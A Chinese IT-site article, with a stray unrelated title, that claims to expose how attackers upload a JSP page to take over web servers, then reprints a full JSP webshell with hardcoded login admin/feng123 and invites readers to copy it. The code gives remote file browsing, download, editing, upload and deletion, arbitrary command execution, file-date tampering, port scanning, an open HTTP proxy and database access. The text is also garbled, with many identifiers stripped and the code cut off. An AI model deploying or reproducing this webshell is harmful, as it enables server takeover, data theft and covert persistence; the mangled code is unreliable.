DBM156管理系统xp系统忘记登录密码码忘记怎么办

揭露黑客是如何通过上传一个jsp页面控制和攻击你web站点的(含jsp代码) | 信息安全 |
_数据库_运维_开发_IT学习_无忧IT学习网
一起学习!一起进步!
揭露黑客是如何通过上传一个jsp页面控制和攻击你web站点的(含jsp代码)
浏览: 158 views
前一段时间公司请业内做安全的一家公司给企业的信息化系统做了一次安全扫描,发现了很多安全隐患及系统漏洞。
在做安全加固及补丁修补时笔者在web服务器上(包含unix和windows平台)发现了一个名叫shell.jsp的jsp页面,于是把他拿下来放在测...
前一段时间公司请业内做安全的一家公司给企业的信息化系统做了一次安全扫描,发现了很多安全隐患及系统漏洞。
在做安全加固及补丁修补时笔者在web上(包含unix和windows平台)发现了一个名叫shell.的页面,于是把他拿下来放在测试运行发现原来这个具备在windows和unix平台上通过web界面控制你的整个web容器甚至你的主机。
但是我们已经通过js控制这种格式的文件上传他们怎么又传了上去了?通过查阅相关文档了解到原来他们是通过将该该页面伪装成白名单中的允许上传的文件格式绕过检查脚本后再改回成成功上传到最终达到完全控制的。
所以笔者强烈建议企业关键系统所有的安全检查工作应在端完成,万不得以不要再客户端完成该工作。
现分享一下该页面的代码,感兴趣的同学可以将代码copy到你的并保存为样式即可。
参考代码:
该页面的登录账号:admin 密码:feng123
&%@page&import=&.util.*,.io.*,.sql.*,.util.zip.*,.lang.reflect.*,.net.*,x.servlet..*&%&
&%@page&contentType=&text/charset=GBK&%&
&%@page&pageEncoding=&gb2312&%&
final String APP_NAME=&MyBlog
Manage-System 1.0&;
int portListen=5000;//set the httpproxy port
boolean openHttpProxy=//set the httpproxy load-on-start-up
&&& session.setMaxInactiveInterval(6000);
&&& final String WEB_SITE=folderReplace(application.getRealPath(&/&));
&&& final String URL=request.getRequestURI();
&&& if(session.getAttribute(&ID&)==null){
&&&&&&& // the user and pass& field&&
&&&&&&& String username=&admin&;
&&&&&&& String password=&feng123&;
&&&&&&& // the user and pass& field&&
&&&&&&& if(request.getParameter(&LName&)!=null&&request.getParameter(&LPass&)!=null&&request.getParameter(&LName&).equals(username)&&request.getParameter(&LPass&).equals(password)){
&&&&&&&&&&& session.setAttribute(&ID&,&1&);
&&&&&&&&&&& response.sendRedirect(URL);
&&&&&&& }else{
&&&&&&&&&&& out.println(&&center style=font-size:12px&&br&&br&&+APP_NAME+&&br&&br&& +
&&&&&&&&&&&&&&&&&&&&&& &&form name=login method=post&username:&input name=LName type=text size=15&&br&& +
&&&&&&&&&&&&&&&&&&& &password:&input name=LPass type=password size=15&&br&&input type=submit value=Login&&/form&&/center&&);
&meta http-equiv=Content-Type content=&text/ charset=gb2312&&
&title&&%=APP_NAME%&&/title&
&style type=&text/css&&
&body,td{font-size: 12}
table{T:expression(this.border='1',this.borderColorLight='Black',this.borderColorDark='White');}
&input,select{font-size:12}
&body{margin-left:0margin-top:0margin-right:0margin-bottom:0}
&td{white-space:}
&a{color:text-decoration:}
&&& Top=top.
&&& function downFile(file){
&&&&&&& Top.Filename.value=
&&&&&&& Top.Action.value=&D&;
&&&&&&& Top.submit();
&&& function checkUrl(){
&&&&&&& top.address.Action.value=&F&;
&&&&&&& top.address.submit();
&&& function editFile(file){
&&&&&&& top.address.Action.value=&E&;
&&&&&&& top.address.Filename.value=
&&&&&&& top.address.submit();
&&& function delFile(file){
&&&&&&& top.address.Action.value=&R&;
&&&&&&& top.address.Filename.value=
&&&&&&& top.address.submit();
&&& function reName(file){
&&&&&&& if((Rname=prompt(&rename to?&,file))!=&&&&Rname!=null){
&&&&&&&&&&& Top.Action.value=&N&;
&&&&&&&&&&& top.address.Filename.value=file+&|&+R
&&&&&&&&&&& Top.submit();
&&& function copyFile(file){
&&&&&&& if((Rname=prompt(&copy to?&,file))!=&&&&Rname!=null){
&&&&&&&&&&& Top.Action.value=&P&;
&&&&&&&&&&& top.address.Filename.value=file+&|&+R
&&&&&&&&&&& Top.submit();
&&& function setDate(file){
&&&&&&& document.write(&Change date:&br&&form method='post' action='?Action=dateChange'&&);
&&&&&&& document.write(&filename:&input name='Filename' type='text' size=60 readonly value='&+file+&'&&br&&);
&&&&&&& document.write(&Year:&select name='year'&&);
&&&&&&& for(i=1970;i&=2050;i++){
&&&&&&&&&&& document.write(&&option value=&+i+&&&+i+&&/option&&);
&&&&&&& document.write(&&/select&&);
&&&&&&& document.write(&Month:&select name='month'&&);
&&&&&&& for(i=1;i&=12;i++){
&&&&&&&&&&& document.write(&&option value=&+i+&&&+i+&&/option&&);
&&&&&&& document.write(&&/select&&);
&&&&&&& document.write(&Day:&select name='day'&&);
&&&&&&& for(i=1;i&=31;i++){
&&&&&&&&&&& document.write(&&option value=&+i+&&&+i+&&/option&&);
&&&&&&& document.write(&&/select&&);
&&&&&&& document.write(&&input name='Action' type='button' onclick='top.address.Action.value=\&d\&;this.form.submit();' value='dateChange'&&);
&&&&&&& document.write(&&input name='cancel' onclick='history.back();' type='button' value='Cancel'&&);
&&& function zipFile(file){
&&&&&&& if((zipF=prompt(&save to ?&,file+&/down.zip&))!=&&&&zipF!=null){
&&&&&&&&&&& top.address.Action.value=&Z&;
&&&&&&&&&&& top.address.FolderPath.value=
&&&&&&&&&&& top.address.Filename.value=zipF;
&&&&&&&&&&& top.address.submit();
&&& function setDataBase(f){
&&&&&&& driverName=new Array();
&&&&&&& driverName[0]=&com.sybase.jdbc2.jdbc.SybDriver&;
&&&&&&& driverName[1]=&com.microsoft.jdbc..Driver&;
&&&&&&& driverName[2]=&com..jdbc.Driver&;
&&&&&&& driverName[3]=&.jdbc.driver.OracleDriver&;
&&&&&&& driverName[4]=&com.ibm.db2.jdbc.app.DB2Driver&;
&&&&&&& driverName[5]=&org.postgresql.Driver&;
&&&&&&& conUrl=new Array();
&&&&&&& conUrl[0]=&jdbc:jtds:sybase://host:port/database&;
&&&&&&& conUrl[1]=&jdbc:microsoft:://host:DatabaseName=&;
&&&&&&& conUrl[2]=&jdbc:://host:port/database&;
&&&&&&& conUrl[3]=&jdbc:oracle:thin:@host:port:database&;
&&&&&&& conUrl[4]=&jdbc:db2://host:port/database&;
&&&&&&& conUrl[5]=&jdbc:postgresql://host:port/database&;
&&&&&&& f.driver.value=driverName[f.DB.selectedIndex];
&&&&&&& f.conUrl.value=conUrl[f.DB.selectedIndex];
&&& String Action=request.getParameter(&Action&);
&&& char action=(Action==null?&0&:Action).charAt(0);
&&&&&&& switch(action){
&&&&&&& //each skill
&&&&&&&&&&& case 'M':mainMenu(out,WEB_SITE);
&&&&&&&&&&& case 'F':showFiles(out,encodeChange(request.getParameter(&FolderPath&)));
&&&&&&&&&&& case 'S':showSystemInfo(out);
&&&&&&&&&&& case 'L':servletInfo(config,out);
&&&&&&&&&&& case 'D':downFile(encodeChange(request.getParameter(&Filename&)),response);
&&&&&&&&&&& case 'E':editFile(encodeChange(request.getParameter(&Filename&)),out);
&&&&&&&&&&& case 'R':deleteFile(encodeChange(request.getParameter(&Filename&)),out);
&&&&&&&&&&& case 'K':saveFile(encodeChange(request.getParameter(&filename&)),request.getParameter(&FileContent&).getBytes(&ISO-8859-1&),out);
&&&&&&&&&&& case 'N':renameFile(encodeChange(request.getParameter(&Filename&)),out);
&&&&&&&&&&& case 'P':copyFile(encodeChange(request.getParameter(&Filename&)),out);
&&&&&&&&&&& case 'd':dateChange(encodeChange(request.getParameter(&Filename&)),request.getParameter(&year&),request.getParameter(&month&),request.getParameter(&day&),out);
&&&&&&&&&&& case 'r':execFile(encodeChange(request.getParameter(&execFile&)),out);
&&&&&&&&&&& case 'Z':zip(encodeChange(request.getParameter(&Filename&)),encodeChange(request.getParameter(&FolderPath&)),out);
&&&&&&&&&&& case 'U':upfile(request,out,encodeChange(request.getParameter(&UPaddress&)));
&&&&&&&&&&& case 'n':newFolder(out,encodeChange(request.getParameter(&Filename&)));
&&&&&&&&&&& case 'A':reflectAPI(out,encodeChange(request.getParameter(&Filename&)));
&&&&&&&&&&& case 'I':scanPort(out,encodeChange(request.getParameter(&IPaddress&)),Integer.parseInt(request.getParameter(&startPort&)),Integer.parseInt(request.getParameter(&endPort&)));
&&&&&&&&&&& case 's':ConnectionDBM(out,encodeChange(request.getParameter(&driver&)),encodeChange(request.getParameter(&conUrl&)),encodeChange(request.getParameter(&user&)),encodeChange(request.getParameter(&password&)),encodeChange(request.getParameter(&run&)),encodeChange(request.getParameter(&sqlcmd&)));
&&&&&&&&&&& case 'H':switchProxyService(out);
&&&&&&&&&&& case 'i':userInterFaces(out);
&&&&&&&&&&& case 'T':systemTools(out);
&&&&&&&&&&& default:
&&&&&&&&&&&&&&& mainForm(WEB_SITE,out);
&&& }catch(Exception e){
&&& out.print(&&/body&&/html&&);
&&& out.close();
//the main framwork
void mainForm(String web_Site,Writer out)throws Exception{
&&& out.print(&&table width=100% height=100% border=0 bgcolor=menu&&);
&&& out.print(&&tr&&td height=30 colspan=2&&);
&&& out.print(&&table width=100% height=25 border=0&&);
&&& out.print(&&form name=address method=post target=FileFrame onSubmit='checkUrl();'&&);
&&& out.print(&&tr&&td width=60 align=center&FilePath:&/td&&td&&);
&&& out.print(&&input name=FolderPath style=width:100% value='&+web_Site+&' onchange='checkUrl();'&&);
&&& out.print(&&input type=hidden name=Action value=F&&);
&&& out.print(&&input type=hidden name=Filename&&);
&&& out.print(&&/td&&td width=60 align=center&&a href='script:checkUrl();'&GOtoLink&/a&&);&
&&& out.print(&&/td&&/tr&&/form&&/table&&/td&&/tr&&tr&&td width=148&&);
&&& out.print(&&iframe name=Menu src=?Action=M width=100% height=100% frameborder=2 scrolling=yes&&/iframe&&/td&&);
&&& out.print(&&td width=600&&);
&&& out.print(&&iframe name=FileFrame src='?Action=F&FolderPath=&+web_Site+&' width=100% height=100% frameborder=1 scrolling=yes&&/iframe&&);
&&& out.print(&&/td&&/tr&&/table&&);
//menu form to choose
void mainMenu(Writer out,String web_Site)throws Exception{
&&& out.println(&&table&&);
&&& out.println(&&tr&&td bgcolor=Gray&&a href=?Action=M&&+ico(58)+&FileOperation(File.class)&/a&&/td&&/tr&&);
&&& out.println(&&tr&&td bgcolor=menu onclick=top.address.FolderPath.value='&+folderReplace(web_Site)+&'&&a href='?Action=F&FolderPath=&+web_Site+&' target=FileFrame&&+ico(48)+&WEB Folder&/a&&/td&&/tr&&);
&&& out.println(&&tr&&td bgcolor=menu&&a href=?Action=S target=FileFrame&&+ico(53)+&SystemInfo(System.class)&/a&&/td&&/tr&&);
&&& out.println(&&tr&&td bgcolor=menu&&a href=?Action=L target=FileFrame&&+ico(53)+&ServletInfo&/a&&/td&&/tr&&);
&&& out.println(&&tr&&td bgcolor=menu&&a href=?Action=T target=FileFrame&&+ico(53)+&SystemTools&/a&&/td&&/tr&&);
&&& out.println(&&tr&&td bgcolor=menu&&a href=?Action=i target=FileFrame&&+ico(57)+&Interfaces&/a&&/td&&/tr&&);
&&& out.println(&&tr&&td bgcolor=menu&&a href='http://blog.chinaunix.net/space.?domain=fengzhanhai' target=FileFrame&My Blog&/a&&/td&&/tr&&);
&&& out.println(&&/table&&);
//show all files and folders
void showFiles(Writer out,String path)throws Exception{
&&& File file=new File(path);
&&& long maxSize=0;
&&& if(file.isDirectory()){
&&&&&&& File[] f=file.listFiles();
&&&&&&& out.println(&&table&&tr bgcolor=menu&&td&name&/td&&td&type&/td&&td&size&/td&&td&modify date&/td&&td&readonly&/td&&td&can write&/td&&td&hidden&/td&&td&Action&/td&&/tr&&);
&&&&&&& for(int i=0;i&f.i++){
&&&&&&&&&&& maxSize=maxSize+f[i].length();
&&&&&&&&&&& if(f[i].isDirectory())
&&&&&&&&&&&&&&& out.println(&&tr bgcolor=menu&&td&&a href=\&javascript:top.address.FolderPath.value='&+folderReplace(f[i].getAbsolutePath())+”/’;checkUrl();\”>”+ico(48)+f[i].getName()+”
“+getSize(f[i].length())+”
“+new .util.Date(f[i].lastModified())+”
“+f[i].canRead()+”
“+f[i].canWrite()+”
“+f[i].isHidden()+”
“+fOperation(true,f[i].getAbsolutePath())+&&/td&&/tr&&);
&&&&&&&&&&& else
&&&&&&&&&&&&&&& out.println(&&tr&&td&&+ico(50)+f[i].getName()+”
“+getSize(f[i].length())+”
“+new .util.Date(f[i].lastModified())+”
“+f[i].canRead()+”
“+f[i].canWrite()+”
“+f[i].isHidden()+”
“+fOperation(false,f[i].getAbsolutePath())+&&/td&&/tr&&);
&&&&&&& out.println(&&/table&&);
&&&&&&& out.print(&this folder size:&+getSize(maxSize));
//show the system information
void showSystemInfo(Writer out)throws Exception{
&&& Map map=
&&& Set set=
&&& Iterator it=
&&& /*use for jdk1.5
&&& map=System.getenv();
&&& set=map.keySet();
&&& it=set.iterator();
&&& out.print(&&hr&System Env info:&ul&&);
&&& while(it.hasNext()){
&&&&&&& Object oName=it.next();
&&&&&&& out.println(&&li&&+oName+& [ "+map.get(oName)+" ]&);
&&& out.print(&&/ul&&);
&&& map=System.getProperties();
&&& set=map.keySet();
&&& it=set.iterator();
&&& out.println(&&hr&System Property info:&ul&&);
&&&&&&& while(it.hasNext()){
&&&&&&& Object oName=it.next();
&&&&&&& out.println(&&li&&+oName+& [ "+map.get(oName)+" ]&);
&&& out.print(&&/ul&&hr&System CPU :&);
&&& out.print(Runtime.getRuntime().availableProcessors()+& &br&&);
&&& out.print(&the JVM Free Memory :&+getSize(Runtime.getRuntime().freeMemory()));
&&& out.print(&&br&the JVM Max Memory :&+getSize(Runtime.getRuntime().maxMemory()));
//show servlet information
void servletInfo(ServletConfig config,Writer out)throws Exception{
&&& ServletContext sc=config.getServletContext();
&&& out.println(&Server info: &+sc.getServerInfo()+&&br&&);
&&& out.println(&ServletContext name: &+sc.getServletContextName()+&&br&&);
&&& out.println(&Major version :&+sc.getMajorVersion()+&&br&&);
&&& out.println(&Minor version :&+sc.getMinorVersion()+&&br&&);
&&& Enumeration en=sc.getInitParameterNames();
&&& String initInfo=&init parameter: &br&&;
&&& out.print(initInfo);
&&& while(en.hasMoreElements()){
&&&&&&& String name=(String)en.nextElement();
&&&&&&& initInfo=&key:&+name+& value:&+sc.getInitParameter(name) +&&br&&;
&&&&&&& out.print(initInfo);
//down the server file
void downFile(String filename,HttpServletResponse res)throws Exception{
&&& int w=0;
&&& byte[] buffer=new byte[256];
&&& byte[] b=(new File(filename)).getName().getBytes(&gb2312&);
&&& String outFile=new String(b,&ISO-8859-1&);
&&& res.reset();
&&& res.setHeader(&Content-disposition&,&filename=\&&+outFile+&\&&);
&&& ServletOutputStream sos=res.getOutputStream();
&&& BufferedInputStream bis=
&&&&&&& bis=new BufferedInputStream(new FileInputStream(filename));
&&&&&&& while((w=bis.read(buffer,0,buffer.length))!=-1){
&&&&&&&&&&& sos.write(buffer,0,w);
&&& }catch(Exception e){
&&& }finally{
&&&&&&& if(bis!=null)bis.close();
&&& sos.flush();
&&& res.flushBuffer();
//delect file
void deleteFile(String filename,Writer out)throws Exception{
&&& File f=new File(filename);
&&& if(f.exists()){
&&&&&&& if(f.delete())out.print(filename+&delete success…&);
&&& }else{
&&&&&&& out.print(&file not find!!&);
//rename the file
void renameFile(String filename,Writer out)throws Exception{
&&& int split=filename.indexOf(&|&);
&&& String newFilename=filename.substring(split+1);
&&& filename=filename.substring(0,split);
&&& File f=new File(filename);
&&& if(f.exists()){
&&&&&&& if(f.renameTo(new File(newFilename)))out.print(newFilename+& file move success&);
&&& }else{
&&&&&&& out.print(&file not find!!&);
//file copy
void copyFile(String filename,Writer out)throws Exception{
&&& int split=filename.indexOf(&|&);
&&& String newFilename=filename.substring(split+1);
&&& filename=filename.substring(0,split);
&&& File f=new File(filename);
&&& BufferedInputStream bis=
&&& BufferedOutputStream bos=
&&& if(f.exists()){
&&&&&&& try{
&&&&&&&&&&& bis=new BufferedInputStream(new FileInputStream(filename));
&&&&&&&&&&& bos=new BufferedOutputStream(new FileOutputStream(newFilename));
&&&&&&&&&&& int s=0;
&&&&&&&&&&& while((s=bis.read())!=-1){
&&&&&&&&&&&&&&& bos.write(s);
&&&&&&&&&&& }
&&&&&&& }catch(Exception e){
&&&&&&&&&&& out.print(&file copy error&);
&&&&&&& }finally{
&&&&&&&&&&& if(bis!=null)bis.close();
&&&&&&&&&&& if(bos!=null)bos.close();
&&&&&&& out.print(newFilename+&file copy success&);
&&& }else{
&&&&&&& out.print(&file not find!!&);
//file editor
void editFile(String filename,Writer out)throws IOException{
&&& File f=new File(filename);
&&& out.print(&&form method=post&File Path:&);
&&& out.print(&&input type=text size=80 name=filename value='&+filename+&'&&);
&&& out.print(&&input type=button name=kFile onClick='this.form.action=\&?Action=K\&;this.form.submit();' value=KeepFile &&);
&&& out.print(&&input type=button onClick=editFile(this.form.filename.value); value=ReadFile&&);
&&& out.print(&&textarea name=FileContent rows=35 style=width:100%;&&);
&&& if(f.exists()){
&&&&&&& try{
&&&&&&&&&&& BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(filename),&Gb2312&));
&&&&&&&&&&& String s=&&;
&&&&&&&&&&& while((s=br.readLine())!=null){&
&&&&&&&&&&&&&&& out.println(htmlEntity(s));&
&&&&&&&&&&& }
&&&&&&& }catch(Exception e){
&&&&&&&&&&& out.print(&file edit error&);
&&&&&&& }finally{
&&& out.print(&&/textarea&&/form&&);
//file save
void saveFile(String filename,byte[] fileContent,Writer out)throws IOException{
&&& if(filename!=null||fileContent!=null){
&&&&&&& BufferedOutputStream bos=
&&&&&&& try{
&&&&&&&&&&& bos=new BufferedOutputStream(new FileOutputStream(filename));
&&&&&&&&&&& bos.write(fileContent,0,fileContent.length);
&&&&&&& }finally{
&&&&&&&&&&& if(bos!=null)bos.close();
&&&&&&& out.print(filename+&file save success&);
&&& }else{
&&&&&&& out.print(&Error&);
//chang the file modify date
void dateChange(String filename,String year,String month,String day,Writer out)throws IOException{
&&& File f=new File(filename);
&&& if(f.exists()){
&&&&&&& Calendar calendar=Calendar.getInstance();
&&&&&&& calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day));
&&&&&&& if(f.setLastModified(calendar.getTimeInMillis()))
&&&&&&&&&&& out.print(filename+&file date change success&);
&&&&&&& else
&&&&&&&&&&& out.print(filename+&file date change error&);
&&& }else{
&&&&&&& out.println(&file not find!!!&);
//run file
void execFile(String file,Writer out)throws Exception{
&&& int i=0;
&&& Runtime rt=Runtime.getRuntime();
&&& Process ps=rt.exec(file);
&&& InputStreamReader isr =
&&& char[] bufferC=new char[1024];
&&&&&&& isr=new InputStreamReader(ps.getInputStream(),&GB2312&);
&&&&&&& out.print(&&textarea rows=35 style=width:100%;&&);
&&&&&&& while((i=isr.read(bufferC,0,bufferC.length))!=-1){
&&&&&&&&&&& out.print(htmlEntity(new String(bufferC,0,i)));
&&& }catch(Exception e){
&&&&&&& out.print(&run file error&);
&&& }finally{
&&&&&&& if(isr!=null)isr.close();
&&& out.print(&&/textarea&&);
&&& systemTools(out);
//zip zhe folder
void zip(String zipPath, String srcPath,Writer out) throws Exception {
&&& FileOutputStream output =
&&& ZipOutputStream zipOutput =
&&&&&&& output = new FileOutputStream(zipPath);
&&&&&&& zipOutput = new ZipOutputStream(output);
&&&&&&& zipEntry(zipOutput,srcPath,srcPath,zipPath);
&&& }catch(Exception e){
&&&&&&& out.print(&file zip error&);
&&& }finally{
&&&&&&& if(zipOutput!=null)zipOutput.close();
&&& out.print(&zip ok&+zipPath);
//add the zip entry
void zipEntry(ZipOutputStream zipOs, String initPath,String filePath,String zipPath) throws Exception {
&&& String entryName = fileP
&&& File f = new File(filePath);
&&& if (f.isDirectory()){// check is folder
&&&&&&& String[] files = f.list();
&&&&&&& for(int i = 0; i & files. i++)
&&&&&&&&&&& zipEntry(zipOs, initPath, filePath + File.separator + files[i],zipPath);
&&& String chPh = initPath.substring(initPath.lastIndexOf(&/&) + 1);// ?????
&&& int idx=initPath.lastIndexOf(chPh);
&&& if (idx != -1) {
&&&&&&& entryName = filePath.substring(idx);
&&& entry = new ZipEntry(entryName);
&&& File ff = new File(filePath);
&&& if(ff.getAbsolutePath().equals(zipPath))
&&& entry.setSize(ff.length());
&&& entry.setTime(ff.lastModified());
&&& //the CRC efficacy&&
&&& entry.setCrc(0);
&&& CRC32 crc = new CRC32();
&&& crc.reset();
&&& zipOs.putNextEntry(entry);
&&& int len = 0;
&&& byte[] buffer = new byte[2048];
&&& int bufferLen = 2048;
&&& FileInputStream input =
&&&&&&& input = new FileInputStream(filePath);
&&&&&&& while ((len = input.read(buffer, 0, bufferLen)) != -1) {
&&&&&&&&&&&&&&& zipOs.write(buffer, 0, len);
&&&&&&&&&&&&&&& crc.update(buffer, 0, len);
&&& }catch(Exception e){
&&& }finally{
&&&&&&& if(input!=null)input.close();
&&& entry.setCrc(crc.getValue());
//file upload to server
void upfile(HttpServletRequest request,Writer out,String filename)throws Exception{
&&&&&&& String boundary = request.getContentType().substring(30);//?????
&&&&&&& ServletInputStream sis=request.getInputStream();
&&&&&&& BufferedOutputStream bos=
&&&&&&& byte[] buffer = new byte[256];
&&&&&&& String line=
&&&&&&& for(int i=0;i&5;i++){
&&&&&&&&&&& line=readLine(buffer,sis);
&&&&&&& try{
&&&&&&&&&&& bos=new BufferedOutputStream(new FileOutputStream(filename));
&&&&&&&&&&& //read the filedata
&&&&&&&&&&& while(line!=null&&line.indexOf(boundary)==-1){
&&&&&&&&&&&&&&& bos.write(buffer,0,line.getBytes().length);
&&&&&&&&&&&&&&& line=readLine(buffer,sis);
&&&&&&&&&&& }
&&&&&&&&&&& out.print(&upload success!&);
&&&&&&& }catch(Exception e){
&&&&&&&&&&& out.print(&upload error&);
&&&&&&& }finally{
&&&&&&&&&&& if(bos!=null)bos.close();
String readLine(byte[] lineByte,ServletInputStream servletInputstream){
&&&&&&& int len=0;
&&&&&&& len=servletInputstream.readLine(lineByte,0,lineByte.length);
&&&&&&& if(len == -1){
&&&&&&&&&&&&&&&
&&&&&&& }else{
&&&&&&& return new String(lineByte,0,len);
&&& }catch(Exception _ex){
//create folder
void newFolder(Writer out,String foldername)throws Exception{
&&& File f=new File(foldername);
&&& if(f.mkdirs()){
&&&&&&& out.print(&the folder create success!&);
&&& }else{
&&&&&&& out.print(&the folder create error&);
API classes
void reflectAPI(Writer out,String className)throws Exception{
&&& Class cls=Class.forName(className);
&&& String constructor=&&;
&&& String ifString=&&;
&&& Class[] interfaces=cls.getInterfaces();
&&& String supperClass=cls.getSuperclass().toString();
&&& Constructor[] c=cls.getDeclaredConstructors();
&&& Field[] f=cls.getDeclaredFields();
&&& Method[] m=cls.getDeclaredMethods();
&&& for(int i=0;i&interfaces.i++){
&&&&&&& ifString=ifString+interfaces[i].getName()+&,&;
&&& out.print(&&strong&&+Modifier.toString(cls.getModifiers())+&&/strong& &+cls+&&br&&strong&extends&/strong& &+supperClass+& &strong&&br&implemets&/strong& &+ifString);
&&& out.print(&&br&{&br&&EM&Constructor:&/EM&&br&&);
&&& for(int i=0;i&c.i++)
&&&&&&& out.print(&&&&&&&+c[i]+&&br&&);
&&& out.print(&&EM&Field:&/EM&&br&&);
&&& for(int i=0;i&f.i++)
&&&&&&& out.print(&&&&&&&+f[i]+&&br&&);
&&& out.print(&&EM&Function:&/EM&&br&&);
&&& for(int i=0;i&m.i++)
&&&&&&& out.print(&&&&&&&+m[i]+&&br&&);
&&& out.print(&&br&}&);
//scan the remote server port
void scanPort(Writer out,String strAddress,int startPort,int endPort)throws Exception{
&&& if(endPort&startPort||startPort&=0||startPort&65535||endPort&65535||endPort&=0){
&&&&&&& out.print(&port setup error&);
&&& InetAddress ia=InetAddress.getByName(strAddress);
&&& for(int p=startPp&=endPp+=15){
&&&&&&& (new ScanPort(ia,p,p+14,out)).start();
&&& Thread.sleep((int)(endPort/startPort)*5000);
}//scan port class
class ScanPort extends Thread{
&&& int startP
&&& int endP
&&& x.servlet..W
&&& public ScanPort(InetAddress address,int startPort,int endPort,Writer out){
&&&&&&& this.address=
&&&&&&& this.startPort=startP
&&&&&&& this.endPort=endP
&&&&&&& this.out=
&&& public void run(){
&&&&&& Socket s=
&&&&&& for(int port=startPport&=endPport++){
&&&&&&&&&& try{
&&&&&&&&&&&&&& s=new Socket(address,port);
&&&&&&&&&&&&&& out.println(&port &+port+& is Open&br&&);
&&&&&&&&&& }
&&&&&&&&&& catch(IOException e){
&&&&&&&&&& }finally{
&&&&&&&&&&&&&&& try{s.close();}catch(Exception e){}
&&&&&&&&&& }
public void switchProxyService(Writer out)throws Exception{
&if(openHttpProxy=!openHttpProxy){//open the proxy
&&new RunProxyService(portListen).start();
&&out.print(&Proxy running&);
&&out.print(&Proxy closed&);
//open httpProxy service
public class RunProxyService extends Thread{
&public RunProxyService(int port){
&&this.port=
&public void run(){
&&&ServerSocket ss=new ServerSocket(5000);
&&&while(true){
&&&&if(openHttpProxy){
&&&&&new HttpProxy(ss.accept()).start();
&&&&}else{
&&&ss.close();
&&} catch (IOException e) {
//HttpProxy class
public class HttpProxy extends Thread{
&private S
&public int timeOut=10000;
&public HttpProxy(Socket s){
&&this.s=s;
&public HttpProxy(Socket s,int timeOut){
&&this.s=s;
&&this.timeOut=timeO//set the connection timeout
&public void run(){
&&byte[] bit=new byte[1024];
&&int readBit=0;
&&int size=0;
&&String returnAddress=//return to the address
&&int returnPort = 0; //return to the port
&&String sendHostName=
&&int sendPort=0;
&&Socket sendSocket=
&&OutputStream os=
&&InputStream is=
&&&int split=0;
&&&is=s.getInputStream();
&&&//get the http head information
&&&if((size=is.read(bit, 0, bit.length))==-1)
&&&String httpHead=new String(bit,0,size);
&&&split=httpHead.indexOf(&\nHost: &)+7;
&&&sendHostName=httpHead.substring(split, httpHead.indexOf(&\n&, split));
&&&//get the hostname and port
&&&if((split=sendHostName.indexOf(':'))!=-1){
&&&&sendPort=Integer.parseInt(sendHostName.substring(split+1).trim());
&&&&sendHostName=sendHostName.substring(0,split);
&&&&sendSocket=new Socket(sendHostName.trim(),sendPort);
&&&&sendSocket=new Socket(sendHostName.trim(),80);
&&&sendSocket.setSoTimeout(timeOut);
&&&//send user headhttp
&&&os=sendSocket.getOutputStream();
&&&os.write(httpHead.getBytes());
&&&//send user datas
&&&if(size==bit.length)
&&&while((size=is.read(bit, 0, bit.length))!=-1){
&&&&os.write(bit,0 , size);
&&&os.flush();
&&&//get WEBSITE html&& and& user browser's output
&&&is=sendSocket.getInputStream();
&&&os=s.getOutputStream();
&&&while((size=is.read(bit, 0, bit.length))!=-1){
&&&&os.write(bit,0 , size);
&&&&os.flush();
&&}catch(SocketException se){
&&} catch (IOException ie) {
&&} catch (Exception e) {
&&}finally{
&&&//close the stream
&&&if(is!=null){
&&&&&is.close();
&&&&} catch (IOException e) {
&&&if(os!=null){
&&&&&os.close();
&&&&} catch (IOException e) {
//connection to the database
void ConnectionDBM(Writer out,String driver,String url,String userName,String passWord,String sqlAction,String sqlCmd)throws Exception{
&DBM dbm=new DBM(driver,url,userName,passWord,out);
&if(sqlAction.equals(&LDB&)){
&&dbm.lookInfo();
&&dbm.executeSQL(sqlCmd);
&dbm.closeAll();
//database manager class
class DBM{
&&& private W
&&& private C
&&& private S
&&& private ResultS
&&& public DBM(String driverName,String url,String userName,String passWord,Writer out)throws Exception{
&&&&&&& Class.forName(driverName);&
&&&&&&& this.out=
&&&&&&& con=DriverManager.getConnection(url,userName,passWord);
&&& public void lookInfo()throws Exception{
&&& &DatabaseMetaData dbmd=con.getMetaData();
&&& &String tableType=
&&& &out.print(&&strong&DataBaseInfo&/strong&&table&&);
&&& &out.print(&&tr&&td&DataBaseName:&/td&&td&&+dbmd.getDatabaseProductName()+&&/td&&/tr&&);
&&& &out.print(&&tr&&td&DataBaseVersion:&/td&&td&&+dbmd.getDatabaseProductVersion()+&&/td&&/tr&&);
&&& &out.print(&&tr&&td&the Numeric Function:&/td&&td&&+dbmd.getNumericFunctions()+&&/td&&/tr&&);
&&& &out.print(&&tr&&td&the String Function:&/td&&td&&+dbmd.getStringFunctions()+&&/td&&/tr&&);
&&& &out.print(&&tr&&td&the TimeDate Function:&/td&&td&&+dbmd.getTimeDateFunctions()+&&/td&&/tr&&);
&&& &out.print(&&tr&&td&the System Function:&/td&&td&&+dbmd.getSystemFunctions()+&&/td&&/tr&&);
&&& &out.print(&&/table&&);
&&& &out.print(&&strong&ProcedureInfo&/strong&&table&&);
&&& &&getProcedureDetail(dbmd.getProcedures(null,null,null));
&&& &}catch(Exception proE){}
&&& &//show& all the tables
&&& &&rs=dbmd.getTables(null,null,null,null);
&&& &}catch(Exception tabE){}
&&& &out.print(&&strong&DataBase Tables Info&/strong&&br&&);
&&& &while(rs.next()){
&&& &&tableType=rs.getString(4);
&&& &&out.print(&&strong&TableName:&/strong&&+rs.getString(3)+& &strong&Type:&/strong&&+tableType+&&br&&);
&&& &&if(tableType.indexOf(&VIEW&)&=0||tableType.indexOf(&TABLE&)&=0){
&&&& &&try{
&&&& &&&getTableDetail(dbmd.getColumns(null,null,rs.getString(3),null));
&&&& &&}catch(Exception columnE){}
&&& &this.closeAll();
&&& //show the column information
&&& private void getTableDetail(ResultSet tableRs)throws Exception{
&&&&&&& out.print(&&table border=1&&tr&&td&COLUMN_NAME&/td&&td&DATA_TYPE&/td&&td&TYPE_NAME&/td&&td&COLUMN_SIZE&/td&&td&IS_NULLABLE&/td&&td&CHAR_OCTET_LENGTH&/td&&/tr&&);
&&&&&&& while(tableRs.next()){
&&&&&&&&&&& out.print(&&tr&&td&&+tableRs.getString(4)+&&/td&&td&&+tableRs.getInt(5)+&&/td&&td&&+tableRs.getString(6)+&&/td&&td&&+tableRs.getInt(7)+&&/td&&td&&+tableRs.getString(18)+&&/td&&td&&+tableRs.getInt(16)+&&/td&&/tr&&);
&&&&&&& out.print(&&/table&&);
&&&&&&& tableRs.close();
&&& //show all the procedures
